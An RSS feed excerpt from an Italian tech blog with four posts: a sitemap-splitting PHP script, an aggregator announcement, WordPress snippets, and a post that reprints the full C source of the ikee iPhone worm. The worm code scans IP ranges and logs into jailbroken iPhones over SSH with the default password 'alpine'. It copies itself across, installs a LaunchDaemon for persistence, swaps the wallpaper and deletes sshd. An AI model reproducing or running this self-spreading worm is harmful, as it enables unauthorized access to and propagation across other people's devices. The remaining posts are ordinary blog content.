		<comments>http://www.pcexpert-blog.com/2010/02/migliorare-lindicizzazione-su-google-dividendo-grosse-sitemap-in-piu-parti.html#comments</comments>
		<pubDate>Sat, 13 Feb 2010 19:25:12 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[google]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[ottimizzazione motori ricerca]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[sitemap]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1642</guid>
		<description><![CDATA[<p></p>
<p>Come avrete potuto notare, è da molto che non scrivo su PcExpert. Oggi torno a scrivere qualcosa di interessate poichè ultimamente mi sono imbattutto in un bel problema che</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/02/sitemap.jpg"><img class="aligncenter size-medium wp-image-1643" title="sitemap" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/02/sitemap-254x300.jpg" alt="" width="254" height="300" /></a></p>
<p>Come avrete potuto notare, è da molto che non scrivo su <a href="http://www.pcexpert-blog.com/">PcExpert</a>. Oggi torno a scrivere qualcosa di interessate poichè ultimamente mi sono imbattutto in un bel problema che ovviamente riguarda sempre il mio nuovo progetto <a href="http://www.notizie-informatiche.com/">Notizie Informatiche</a>.</p>
<p>Ho infatti avuto problemi con la sitemap che, a detta di Google, era diventata troppo grossa per essere letta correttamente (Erano presenti oltre 10.000 url!).<br />
Ho subito trovato in rete un interessante <strong>script php</strong> che, lanciato nella stessa cartella in cui si trova la nostra sitemap (generalmente la root del nostro server) in formato <strong>xml.gz</strong>, ci consentirà di suddividere quest&#8217;ultima in più parti creando ovviamente un<strong> file di index</strong> attraverso il quale fare sapere al bot di Google quali sono le varie parti che compongono per intero la nostra sitemap!<br />
Ho modificato il codice affinchè le url per ogni suddivisione non superino quota 1000. <a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=305"><span style="color: #ff0000;"><strong><span style="text-decoration: underline;">Download script</span></strong></span></a> (da rinominare con estensione .php una volta scaricato).<br />
I risultati di questo lavoro sono stati veramente ottimi, <strong>Google ha infatti indicizzato precisamente 3,347 su 10,065 in appena 2 giorni</strong>.<br />
Ora una domana può sorgere spontanea: <span style="color: #000000;"><span style="text-decoration: underline;">Cosa può spingere un sito avente una sitemap con un massimo di 5000 url (senza quindi problemi di dimensioni eccessive) a ricorrere ad una sitemap multipla</span>?</span><br />
La risposta è molto semplice. I bot di google potrenno leggere contemporaneamente tutti i file che compongono la sitamap intera.</p>
<p>In conclusione <strong>velocizzeremo e renderemo più performante</strong> l&#8217;intero processo di lettura della nostra mappa! =)</p>
<p>Ecco infine un <a href="http://www.dyasonhat.com/wordpress-plugins/split-large-xml-sitemaps-php-script/">link al sito dell&#8217;autore originale dello script</a>!</p>
<p style="text-align: center;"><a href="../download/downloadpage.php?id=305"><strong><span style="text-decoration: underline;"><span style="color: #ff0000;">Download script</span></span></strong></a></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/02/migliorare-lindicizzazione-su-google-dividendo-grosse-sitemap-in-piu-parti.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Notizie Infomatiche: L&#8217;aggregatore dei blog Informatici Italiani raggiunge quota 100 iscritti.</title>
		<link>http://www.pcexpert-blog.com/2010/01/notizie-infomatiche-laggregatore-dei-blog-informatici-italiani-raggiunge-quota-100-iscritti.html</link>
		<comments>http://www.pcexpert-blog.com/2010/01/notizie-infomatiche-laggregatore-dei-blog-informatici-italiani-raggiunge-quota-100-iscritti.html#comments</comments>
		<pubDate>Tue, 19 Jan 2010 14:39:25 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[css]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[aggregatore]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[comunicazione di servizio]]></category>
		<category><![CDATA[notizia]]></category>
		<category><![CDATA[notizie informatiche]]></category>
		<category><![CDATA[paolo smedile]]></category>
		<category><![CDATA[pcexpert]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1569</guid>
		<description><![CDATA[<p style="text-align: center;"></p>
<p>Come avrete potuto notare, ultimamente non sto aggiornando quotidianamente PcExpert per dedicarmi completmente al mio nuovo aggregatore di blog informatici.
Dopo un mese di duri lavori, Notizie</p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/Notizie-Informatiche-homepage.png"><img class="aligncenter size-large wp-image-1570" title="Notizie Informatiche homepage" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/Notizie-Informatiche-homepage-524x1024.png" alt="" width="480" height="427" /></a></p>
<p>Come avrete potuto notare, ultimamente non sto aggiornando quotidianamente <strong><a href="http://www.pcexpert-blog.com/">PcExpert</a></strong> per dedicarmi completmente al mio nuovo aggregatore di blog informatici.<br />
Dopo un mese di duri lavori, <a href="http://www.notizie-informatiche.com/"><strong>Notizie Informatiche</strong></a> è finalmente quasi completo al 100%. Le prossime modifiche in programma, saranno dedicate principalmente a migliorare la sezione <strong>Bacheca</strong> e <strong>Featured</strong><strong><a href="http://www.notizie-informatiche.com/"></a></strong> (abilitate solo per i blogger che hanno inserito l&#8217;antipixel o che hanno scritto un articolo riguardante <strong><a href="http://www.notizie-informatiche.com/"> Notizie Informatiche</a></strong>) al fine di garantire una maggiore visibilità a tutti i post presenti all&#8217;interno.<br />
Altre modifiche, invisibili agli utenti finali, andranno ad alleggerire il carico del database consentendo di recuperare spazio prezioso.<br />
Sono molto soddisfatto di questo aggregatore perchè, nonostante sia <strong>online da solo un mese</strong>, esso è già ben indicizzato sui vari motori di ricerca e, in seguito all&#8217;ultimo aggiornamento di Google, ha ottenuto <strong>pagerank 3</strong>.  Numerosi inoltre i blog iscritti che, nel momento in cui scrivo, sono<strong> ben 107</strong>. A questo indirizzo trovate la <strong><a href="http://www.notizie-informatiche.com/register/blogiscritti.php">lista completa</a></strong>.</p>
<p>Coloro che vogliono promuovere l&#8217;inziativa possono farlo esponendo a loro volta l&#8217;antipixel di Notizie Informatiche nella home del loro blog. Ecco di seguito il codice:</p>
<p style="text-align: center;"><a title="Notizie Informatiche" href="http://www.notizie-informatiche.com/"><img class="aligncenter" src="http://www.notizie-informatiche.com/antipixel.png" border="0" alt="Notizie Informatiche" /></a></p>
<pre class="brush: xml; title: ; notranslate"> &lt;a title=&quot;Notizie Informatiche&quot; href=&quot;http://www.notizie-informatiche.com/&quot;&gt;&lt;img src=&quot;http://www.notizie-informatiche.com/antipixel.png&quot; border=&quot;0&quot; alt=&quot;Notizie Informatiche&quot; /&gt;&lt;/a&gt; </pre>
<p>Vi ricordo inoltre che, uno dei punti di forza dell&#8217;aggregatore, è l&#8217;ottima integrazione con i Social Networks del momento. Ogni articolo verrà pubblicato infatti nell&#8217;aposita pagina su <strong>Twitter</strong> e, parte di essi, anche nella pagina <strong>Facebook</strong> che conta, sempre nel momento in cui scrivo, quota 333 fans. Ecco di seguito i link ai vari servizi:</p>
<p style="text-align: center;">
<a href="http://www.facebook.com/pages/Notizie-Informatiche/202611483174"><img src="http://www.notizie-informatiche.com/wp-content/themes/arthemia/images/facebook.png" border="0" alt="Facebook" width="80" height="80" /> </a><a href="http://feeds.feedburner.com/notizieinformatiche/feed"><img src="http://www.notizie-informatiche.com/wp-content/themes/arthemia/images/rss.png" border="0" alt="RSS" /> </a><a href="http://twitter.com/NotizieInfo"><img src="http://www.notizie-informatiche.com/wp-content/themes/arthemia/images/twitter.png" alt="Twitter" /></a></p>
<p>Vi ricordo che, per iscrivervi a <a href="http://www.notizie-informatiche.com/"><strong>Notizie Informatiche</strong></a>, basta compilare il seguente <a href="http://www.notizie-informatiche.com/contattami/">Form</a>. Inoltre, per qualsiasi info, non esitate a contattarmi al seguente indirizzo:</p>
<h1 style="text-align: center;"><a href="../">PcExpert</a>[at]hotmail.it</h1>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/01/notizie-infomatiche-laggregatore-dei-blog-informatici-italiani-raggiunge-quota-100-iscritti.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Codice sorgente di ikee il primo worm per iPhone</title>
		<link>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html</link>
		<comments>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html#comments</comments>
		<pubDate>Tue, 05 Jan 2010 16:52:15 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1558</guid>
		<description><![CDATA[<p></p>
<p>Tutti ricorderanno ikee, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1559" title="asto" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/asto-262x300.jpg" alt="" width="262" height="300" /></p>
<p>Tutti ricorderanno<strong> ikee</strong>, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default (&#8220;<strong>alpine</strong>&#8220;) dopo l&#8217;installazione di <strong>SSH</strong>. Il worm aveva come unico scopo quello di modificare il wallpaper scelto dall&#8217;utente con una immagine che ritraeva <a href="http://it.wikipedia.org/wiki/Rick_Astley">Rick Astley</a> e di cercare altri dispositivi iPhone vulnerabili da infettare. Ecco di seguito il codice sorgente:</p>
<pre class="brush: cpp; title: ; notranslate">
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//

#include &quot;main.h&quot;

int fdlock;

// randHost():  Returns a random IP Address XXX.XXX.XXX.XXX
char *randHost(void)
{
    int x,y,z;
    char *retme;
    srand (time (0));
    x=random() % 255;
    y=random() % 255;
    z=random() % 255;
    asprintf(&amp;retme, &quot;%i.%i.%i.&quot;, x,y,z);
    return retme;
}

// get_lock():  Sets/Gets the status of the file lock
//              located in /var/lock/bbot.lock
int get_lock(void)
{
    struct flock fl;
    fl.l_type = F_WRLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start = 0;
    fl.l_len = 1;
    if((fdlock = open(&quot;/var/lock/bbot.lock&quot;, O_WRONLY|O_CREAT, 0666)) == -1)
      return 0;
    if(fcntl(fdlock, F_SETLK, &amp;fl) == -1)
      return 0;
    return 1;
}

// getAddrRange():  Gets the phones 3G range + 2
//                  eg, 100.100.100.0-100.100.102.255
char *getAddrRange()
{
   struct ifaddrs *ifaddr, *ifa;
   int family, s;
   char host[NI_MAXHOST];
   if (getifaddrs(&amp;ifaddr) == -1) {
       perror(&quot;getifaddrs&quot;);
       exit(EXIT_FAILURE);
   }
   for (ifa = ifaddr; ifa != NULL; ifa = ifa-&gt;ifa_next) {
       family = ifa-&gt;ifa_addr-&gt;sa_family;
        if (family == AF_INET)
        {
           if (family == AF_INET || family == AF_INET6) {
               s = getnameinfo(ifa-&gt;ifa_addr,
                       (family == AF_INET) ? sizeof(struct sockaddr_in) :
                                             sizeof(struct sockaddr_in6),
                       host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
               if (s != 0) {
                   printf(&quot;getnameinfo() failed: %s\n&quot;, gai_strerror(s));
                   return &quot;0.0.0.0-0.0.0.0&quot;;
               }

               if (strcmp(ifa-&gt;ifa_name, &quot;pdp_ip0&quot;) == 0)
               {
                   syslog(LOG_DEBUG, ifa-&gt;ifa_name);
                   syslog(LOG_DEBUG, host);
                   char *wee[20];
                   tokenise(host, wee, &quot;.&quot;);
                   char *range;
                   int octc = atoi(wee[2]);
                   asprintf(&amp;range, &quot;%s.%s.%i.0-%s.%s.%i.255&quot;, wee[0], wee[1], octc, wee[0], wee[1], octc+2);
                   return range;
                }
           }
        }
   }
   freeifaddrs(ifaddr);
   return &quot;0.0.0.0-0.0.0.0&quot;;
}
// From alan2349024  Sorry i suck at remembering numbers
// Thanks dude!
int tokenise (char input[], char *token[], char* spl) // Added sep param
{
    char *tokens;
    int count = 0;

    tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To Seperate Off

    if(tokens[strlen(tokens) - 1] == '\n')
        tokens[strlen(tokens) - 1] = '&#92;&#48;';

    token[count] = tokens;

    while(tokens != NULL)
    {
        count++;
        if( count &gt; MAX_NUM )//change MAX_NUM_TOKENS To A Number
            return (-1);

        tokens = strtok(NULL, spl);

        if(tokens != NULL)
        {
            if(tokens[strlen(tokens) - 1] == '\n')
                tokens[strlen(tokens) - 1] = '&#92;&#48;';
        }
        token[count] = tokens;
    }
    return count;
}

// Entry point.
int main(int argc, char *argv[])
{

    //pid_t   pid, sid;
    //char *subnet = randHost();

    // syslog(LOG_DEBUG, &quot;I should go, i feel like im interupting something ;]&quot;);
    /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon.
    pid = fork();
    if (pid &lt; 0)
            exit(EXIT_FAILURE);
      else if (pid &gt; 0)
            exit(EXIT_SUCCESS);

    umask(0);

    sid = setsid();
    */
    if(get_lock() == 0) {
        syslog(LOG_DEBUG, &quot;I know when im not wanted *sniff*&quot;);
        return 1; } // Already running.
    sleep(60); // Lets wait for the network to come up 2 MINS
    syslog(LOG_DEBUG, &quot;IIIIIII Just want to tell you how im feeling&quot;);
    //char ipRange[256] = &quot;120.16.0.0-120.23.255.255&quot;;
    char *locRanges = getAddrRange();
    char *lanRanges = &quot;192.168.0.0-192.168.255.255&quot;; // #172.16.0.0-172.31.255.255 Ehh who uses it
    char *vodRanges1 = &quot;202.81.64.0-202.81.79.255&quot;;
    char *vodRanges2 = &quot;23.98.128.0-123.98.143.255&quot;;
    char *vodRanges3 = &quot;120.16.0.0-120.23.255.255&quot;;
    char *optRanges1 = &quot;114.72.0.0-114.75.255.255&quot;;
    char *optRanges2 = &quot;203.2.75.0-203.2.75.255&quot;;
    char *optRanges3 = &quot;210.49.0.0-210.49.255.255&quot;;
    char *optRanges4 = &quot;203.17.140.0-203.17.140.255&quot;;
    char *optRanges5 = &quot;203.17.138.0-203.17.138.255&quot;;
    char *optRanges6 = &quot;211.28.0.0-211.31.255.255&quot;;
    char *telRanges = &quot;58.160.0.0-58.175.255.25&quot;;
    //char *attRanges = &quot;32.0.0.0-32.255.255.255&quot;; // TOO BIG

    syslog(LOG_DEBUG, &quot;awoadqdoqjdqjwiodjqoi aaah!&quot;);
    ChangeOnBoot();
    KillSSHD();
    // Local first
    while (1)
    {
        syslog(LOG_DEBUG, &quot;Checking out the local scene yo&quot;);
        scanner(locRanges);
        syslog(LOG_DEBUG, &quot;Random baby&quot;);
        int i;
        for (i=0; i &lt;= 2; i++)
        {
            char *ipaddr = randHost();
            char *rrange;
            asprintf(&amp;rrange, &quot;%s.0-%s.255&quot;, ipaddr, ipaddr);
            scanner(rrange);
        }
        // Lan
        syslog(LOG_DEBUG, &quot;Lannnnn&quot;);
        scanner(lanRanges);
        syslog(LOG_DEBUG, &quot;VODAPHONE&quot;);
        scanner(vodRanges1);
        scanner(vodRanges2);
        scanner(vodRanges3);
        syslog(LOG_DEBUG, &quot;OPTUSSSS&quot;);
        scanner(optRanges1);
        scanner(optRanges2);
        scanner(optRanges3);
        scanner(optRanges4);
        scanner(optRanges5);
        scanner(optRanges6);
        syslog(LOG_DEBUG, &quot;Telstra&quot;);
        scanner(telRanges);
    }
}

void scanner(char *ipRange)
{
    char *wee[10];
    char *begin[10];
    char *end[10];
    tokenise(ipRange, wee, &quot;-&quot;);
    int octaB, octaE, octbB, octbE, octcB, octcE;
    tokenise(wee[0], begin, &quot;.&quot;);
    tokenise(wee[1], end, &quot;.&quot;);
    octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX
    octaE = atoi(end[0]);
    octbB = atoi(begin[1]);
    octbE = atoi(end[1]);
    octcB = atoi(begin[2]);
    octcE = atoi(end[2]);
    int loop1;
    for (loop1=octaB; loop1&lt;=octaE; loop1++)
    {
        int loop2;
        for (loop2=octbB; loop2&lt;=octbE; loop2++)
        {
            int loop3;
            for (loop3=octcB; loop3&lt;=octcE; loop3++)
            {
                int loop4;
                for (loop4=0; loop4&lt;=255; loop4++)
                {
                    char* host;
                    asprintf(&amp;host, &quot;%i.%i.%i.%i&quot;, loop1, loop2,loop3, loop4);
                    //printf(&quot;\n\rScanning: %s&quot;, host);
                    if (scanHost(host) == 0 &amp;&amp; checkHost(host) == 0) // This will run scanHost THEN checkHost right?
                    {
                        syslog(LOG_DEBUG, &quot;Oh a sheep!&quot;);
                        //printf(&quot;\n\r - %s is vulnerable&quot;, host);
                        infectHost(host);
                    }
                }
            }
        }
    }
}

// http://img41.imageshack.us/img41/730/asto.jpg
int scanHost(char* host)
{
    int res, valopt, soc;
    struct sockaddr_in addr;
    long arg;
    fd_set myset;
    struct timeval tv;
    socklen_t lon;
    soc = socket(AF_INET, SOCK_STREAM, 0);
    arg = fcntl(soc, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(soc, F_SETFL, arg);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(22);
    addr.sin_addr.s_addr = inet_addr(host);
    res = connect(soc, (struct sockaddr *)&amp;addr, sizeof(addr));
    if (res &lt; 0) {
      if (errno == EINPROGRESS) {
        tv.tv_sec = 10;
        tv.tv_usec = 0;
        FD_ZERO(&amp;myset);
        FD_SET(soc, &amp;myset);
        if (select(soc+1, NULL, &amp;myset, NULL, &amp;tv) &gt; 0) {
            lon = sizeof(int);
            getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&amp;valopt), &amp;lon);
            if (valopt) {
              return -1;
            }
        }
        else {
            return -1; }
      }
      else { return -1; }
    }
    close(soc);
    return 0;
    // Set to blocking mode again...
    //arg = fcntl(soc, F_GETFL, NULL);
    //arg &amp;= (~O_NONBLOCK);
    //fcntl(soc, F_SETFL, arg);
}

int checkHost(char *host)
{
    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'&quot;, VULN_PASS, host);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
}

int runCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    // Really am to lazy to check this but im piling comands as so
    // command1; command2; command3; echo 99
    // my belief is that if for instance command2 dies we wont hit the echo 99
    // which will make us return -1
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1;
}

int prunCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {
        printf(&quot;%s&quot;,buff);
    }
    pclose(in);
    return -1;
}

int CopyFile(char* src, char* dst, char* host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s&quot;, VULN_PASS, src, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {}
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'&quot;, VULN_PASS, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, dst))
            return 0;
    }
    pclose(in);
    return -1;
}

int ChangeOnBoot()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int KillSSHD()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;rm -f /usr/sbin/sshd; killall sshd&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand(&quot;uname -n&quot;, host) == 0)
    {
        //printf(&quot;\n\r - Infecting: &quot;);
        prunCommand(&quot;uname -n&quot;, host);
        prunCommand(&quot;rm /bin/sshpass&quot;, host);
        prunCommand(&quot;rm /bin/poc-bbot&quot;, host);
        //prunCommand(&quot;killall poc-bbot&quot;, host);
        if (CopyFile(&quot;/bin/poc-bbot&quot;, &quot;/bin/poc-bbot&quot;, host) == 0 &amp;&amp; CopyFile(&quot;/bin/sshpass&quot;, &quot;/bin/sshpass&quot;, host) == 0)
        {
            //printf(&quot; - Replicated successfully&quot;);
            prunCommand(&quot;rm /var/mobile/Library/LockBackground.jpg; echo \&quot;\r\n - Removed old background\&quot;&quot;, host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host);
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/log/youcanbeclosertogod.jpg&quot;, host);
            //CopyFile(&quot;/var/mobile/Library/LockBackground.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host); // We aren't
installing an app.

            //printf(&quot; - Background set (ast.jpg).&quot;);
            CopyFile(&quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, &quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;,
host);
            prunCommand(&quot;launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, host);
            // I didn't want to have to do this.
            prunCommand(&quot;rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload
/Library/LaunchDaemons/com.openssh.sshd.plist&quot;, host);
            prunCommand(&quot;killall sshd&quot;, host);
            //printf(&quot;\n\r - Program set to startup on boot&quot;);
            //prunCommand(&quot;reboot&quot;, host)
            //printf(&quot;\n\r - Rebooting phone!&quot;);
            //CopyFile(&quot;ngtgyu.m4r&quot;, &quot;/var/mobile/ngtgyu.m4r&quot;, host);
            //printf(&quot;\n\r - Ringtone set (ngtgyu.m4r).&quot;);
        }
    }
    return 0;
}

// END
</pre>
<p>Dal blog<a href="http://tungchingkai.blogspot.com/2010/01/source-code-for-ikee-iphone-worm.html"> CK&#8217;s IT</a> ecco invece il file <strong>main.h</strong> mancante:</p>
<pre class="brush: cpp; title: ; notranslate">
# include &lt;sys/fcntl.h&gt;
# include &lt;stdio.h&gt;
# include &lt;stdlib.h&gt;
# include &lt;sys/time.h&gt;
# include &lt;unistd.h&gt;
# include &lt;sys/types.h&gt;
# include &lt;sys/socket.h&gt;
# include &lt;netinet/in.h&gt;
# include &lt;netdb.h&gt;
# include &lt;arpa/inet.h&gt;
# include &lt;syslog.h&gt;
# include &lt;errno.h&gt;
# include &lt;ifaddrs.h&gt;
# include &lt;string.h&gt;

# define MAX_NUM 24
# define VULN_PASS &quot;alpine&quot;

void scanner (char * ipRange);
int scanHost (char * host);
int checkHost (char * host);
int RunCommand (char * comando, char * host);
int prunCommand (char * comando, char * host);
int CopyFile (char * src, char * dst, char * host);
int ChangeOnBoot ();
int KillSSHD ();
int infectHost (char * host);
char * randHost (void);
int GET_LOCK (void);
char * getAddrRange ();
int tokenise (input char [], char * token [], char * SPL);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tre utili hacks da apportare al nostro blog WordPress</title>
		<link>http://www.pcexpert-blog.com/2009/12/tre-utili-hacks-da-apportare-al-nostro-blog-wordpress.html</link>
		<comments>http://www.pcexpert-blog.com/2009/12/tre-utili-hacks-da-apportare-al-nostro-blog-wordpress.html#comments</comments>
		<pubDate>Sun, 27 Dec 2009 01:12:11 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[codice]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[snippet]]></category>
		<category><![CDATA[trucchi]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1552</guid>
		<description><![CDATA[Ecco una carrellata di piccoli accorgimenti da apportare al nostro blog Wordpress per rendere migliore l'esperienza di navigazione.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1553" title="Wordpress Hacks" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/ec47a_wordpress-hacks-tricks-300x240.jpg" alt="" width="300" height="240" /></p>
<p>Ecco una carrellata di piccoli accorgimenti da apportare al nostro blog WordPress per rendere migliore l&#8217;esperienza di navigazione.</p>
<h1><span style="color: #ff0000;">1. Pulsante per inviare l&#8217;articolo agli amici tramite email</span></h1>
<p>Per far comparire un pulsante per permettere ai lettori del nostro blog di poter inviare ogni aticolo per email ai propri amici, ci basterà inserire all&#8217;interno del file<strong> functions.php</strong> del tema in uso, il seguente frammento di codice:</p>
<pre class="brush: php; title: ; notranslate">
function direct_email($text=&quot;Send by email&quot;){
global $post;
$title = htmlspecialchars($post-&amp;gt;post_title);
$subject = 'Sur '.htmlspecialchars(get_bloginfo('name')).' : '.$title;
$body = 'I recommend this page : '.$title.'. You can read it on : '.get_permalink($post-&amp;gt;ID);
$link = '&lt;a title=&quot;'.$text.' : '.$title.'&quot; rel=&quot;nofollow&quot; href=&quot;mailto:?subject='.rawurlencode($subject).'&amp;amp;body='.rawurlencode($body).'&quot;&gt;'.$text.'&lt;/a&gt;';
return $link;
}
</pre>
<p>E richiamare la funzione all&#8217;interno del file <strong>single.php</strong> affinchè possa visualizzare correttamente il pulsante.</p>
<h1><span style="color: #ff0000;">2. Pulsante per salvare automaticamente ogni post su Delicius</span></h1>
<p>Altro piccolo e utile hack il cui codice va inserito sempre nel file<strong> single.php</strong> all&#8217;interno del loop.</p>
<pre class="brush: php; title: ; notranslate">
&lt;a href=&quot;http://del.icio.us/post?url=&lt;?php the_permalink();?&gt;&quot;&gt;Save this link to Delicious&lt;/a&gt;
</pre>
<h1><span style="color: #ff0000;">3. Aggiungere il pulsante &#8220;Cancella&#8221; e &#8220;Spam&#8221; all&#8217;interno dei commenti</span></h1>
<p>Per inserire questi due bottoni, che faciliteranno non poco l&#8217;amministrazione del nostro blog, all&#8217;interno dei commenti presenti nel nostro sito inseriamo il seguente codice all&#8217;interno del file <strong>functions.php</strong>.<br />
Nota: Ovviamente i due pulsanti saranno visibili solo dall&#8217;amministratore del blog!</p>
<pre class="brush: php; title: ; notranslate">
function cancella_commenti($id) {
  if (current_user_can('edit_post')) {
    echo '| &lt;a href=&quot;'.admin_url(&quot;comment.php?action=cdc&amp;c=$id&quot;).'&quot;&gt;Cancella&lt;/a&gt; ';
    echo '| &lt;a href=&quot;'.admin_url(&quot;comment.php?action=cdc&amp;dt=spam&amp;c=$id&quot;).'&quot;&gt;Spam&lt;/a&gt;';
  }
}
</pre>
<p>Per inserire invece i due pulsanti editiamo il file comments.php aggiungendo, dopo la riga &#8220;<strong>edit_comment_link();</strong>&#8220;, la seguente stringa:</p>
<pre class="brush: php; title: ; notranslate">
delete_comment_link(get_comment_ID());
</pre>
<p style="text-align: right;"><strong>Fonte:</strong> <strong><a href="http://www.wprecipes.com/">WpRecipes</a></strong></p>
]]></content:encoded>
